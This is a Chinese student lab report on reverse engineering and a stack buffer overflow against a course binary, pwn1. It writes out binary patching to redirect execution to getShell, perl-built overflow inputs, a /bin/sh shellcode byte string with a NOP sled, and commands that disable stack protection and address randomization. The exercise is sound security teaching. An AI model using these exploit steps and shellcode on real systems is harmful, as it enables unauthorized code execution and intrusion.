2019-2020-2 20175312 陶光远《网络对抗技术》Exp1 PC平台逆向破解
1、逆向及Bof基础实践说明
1.1 实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。
--
三个实践内容如下：
手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
这几种思路，基本代表现实情况中的攻击目标:
运行原本不可访问的代码片段
强行修改程序执行流
以及注入运行任意代码。
1.2 基础知识
该实践需要同学们
熟悉Linux基本操作
能看懂常用指令,如管道（|），输入、输出重定向（>）等。
理解Bof的原理。
能看得懂汇编、机器指令、EIP、指令地址。
会使用gdb,vi。
当然，如果还不懂，通过这个过程能对以上概念有了更进一步的理解就更好了。
--
指令、参数
这些东西，我自己也记不住，都是用时现查的。
所以一些具体的问题可以边做边查，但最重要的思路、想法不能乱。
要时刻知道，我是在做什么？现在在查什么数据？改什么数据？要改成什么样？每步操作都要单独实践验证，再一步步累加为最终结果。
操作成功不重要，照着敲入指令肯定会成功。
重要的是理解思路。
看指导理解思路，然后抛开指导自己做。
碰到问题才能学到知识。
具体的指令可以回到指导中查。
2、直接修改程序机器指令，改变程序执行流程
知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具
学习目标：理解可执行文件与机器指令
进阶：掌握ELF文件格式，掌握动态技术
2.1 反汇编查看函数地址
对pwn1文件进行反汇编，会得到如下结果
图中080484b5中的指令为call 8048491
是说这条指令将调用位于地址8048491处的foo函数；
其对应机器指令为“e8 d7ffffff”，e8即跳转之意。
2.2 在vim中修改地址，反汇编查看结果
main函数调用foo，对应机器指令为“e8 d7ffffff”，
那我们想让它调用getShell，只要修改“d7ffffff”为，"getShell-80484ba"对应的补码就行。
用Windows计算器，直接 47d-4ba就能得到补码，是c3ffffff。
首先发现直接使用vim打开pwn1文件是乱码
以下操作是在vi内
1.按ESC键
2.输入以下，将显示模式切换为16进制模式：:%!xxd
3.查找要修改的内容：/e8 d7
4.找到后前后的内容和反汇编的对比下，确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式::%!xxd -r
7.存盘退出vi::wq
修改成功后再使用反汇编查看call指令是否正确调用getShell
之后运行改后的代码，会得到shell提示符#
3 通过构造输入参数，造成BOF攻击，改变程序执行流
知识要求：堆栈结构，返回地址
学习目标：理解攻击缓冲区的结果，掌握返回地址的获取
进阶：掌握ELF文件格式，掌握动态技术
3.1反汇编，了解程序的基本功能
这里读入字符串，但系统只预留了28字节的缓冲区
上面的call调用foo,同时在堆栈上压上返回地址值:80484ba
3.2确认输入字符串哪几个字符会覆盖到返回地址
用gdb 20175215pwn1调试程序，输入有规律的字符串如1111111122222222333333334444444412345678，发生段错误产生溢出
使用info r查看寄存器eip的值，发现输入的1234被覆盖到堆栈上的返回地址，接下来我们就要把字符串中会覆盖EIP的字符替换成getShell的地址。
3.3 确认用什么值来覆盖返回地址
于是我们将getShell的地址0x0804847d把后面的数值替换，即是输入11111111222222223333333344444444x7dx84x04x08
3.4 构造输入字符串
由为我们没法通过键盘输入x7dx84x04x08这样的16进制值，所以先生成包括这样字符串的一个文件。x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。
于是我们通过输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input来生成这样的文件。然后使用vim查看input文件的内容是否如预期。
通过管道符|，将input文件作为pwn1的输入。（不知道是什么原因，input里输入的东西没显示出来，但不影响正常使用）
4. 注入Shellcode并执行
4.1 准备一段Shellcode
shellcode就是一段机器指令（code）
通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），所以这段机器指令被称为shellcode。
在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。
实践采用老师推荐的shellcode。如下：
x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80
4.2 准备工作
先利用apt-get install execstack命令安装execstack软件包
然后执行如下命令（以#后的命令为准）
root@20175312taoguangyuan:/home/kali/Exp1# execstack -s pwn1 //设置堆栈可执行
root@20175312taoguangyuan:/home/kali/Exp1# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@20175312taoguangyuan:/home/kali/Exp1# more /proc/sys/kernel/randomize_va_space
2
root@20175312taoguangyuan:/home/kali/Exp1# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@20175312taoguangyuan:/home/kali/Exp1# more /proc/sys/kernel/randomize_va_space
0
4.3.1 构造要注入的payload
Linux下有两种基本构造攻击buf的方法：
retaddr+nop+shellcode
nop+shellcode+retaddr。
因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。
简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边
我们这个buf够放这个shellcode了
结构为：nops+shellcode+retaddr。
nop一为是了填充，二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode。
然后我们使用perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode命令，再打开一个终端注入这段攻击buf（(cat input_shellcode;cat) | ./pwn1）
再开另外一个终端，用gdb来调试pwn1这个进程。
4.3.2 构造要注入的payload（Restart）
结构为：anything+retaddr+nops+shellcode。
看到01020304了，就是返回地址的位置。shellcode就挨着，所以地址是0xffffd6f0
最后输入自己找到的地址的位置，注入之后就成功了。
以上实践是在非常简单的一个预设条件下完成的：
（1）关闭堆栈保护（gcc -fno-stack-protector）
（2）关闭堆栈执行保护(execstack -s)
（3）关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
（4）在x32环境下
（5）在Linux实践环境
5、所遇到的问题及其解决方法
问题一：如图，出现su鉴定故障
据推测，是因为之前修改主机名导致的问题，根据百度得到的信息，我重置了用户名和密码，之后即可顺利运行。
问题二：如图，我使用gdb查找对应进程，提示不允许
后来我发现，是因为我在打开新的终端后没有进入管理员权限，而这个操作是需要用到权限的，su后此操作可正常进行。
6、总结
6.1、实验收获及感想
实验中遇到了很多问题，感觉自己把之前学的有关于堆栈反汇编方面的知识都还给老师了，特别是在对程序跳转的内存地址进行相关计算时，我做的很吃力。这次实验，我自己觉得是光看老师发布在云视频上的教学视频还是不够，还得在百度和同学博客的解析辅助下才能顺利的完成。实验中巩固了课程内容，也提示我需要好好复习一下先前所学。
6.2、什么是漏洞？漏洞有什么危害？
漏洞就是计算机计算机硬件、软件、协议、安全策略等方面的一些设置不当或者安全缺陷，利用这些缺陷，攻击者可以对计算机系统进行攻击。
可能会导致受害者受到经济损失、机密泄露、隐私暴露、数据篡改等方面的危害。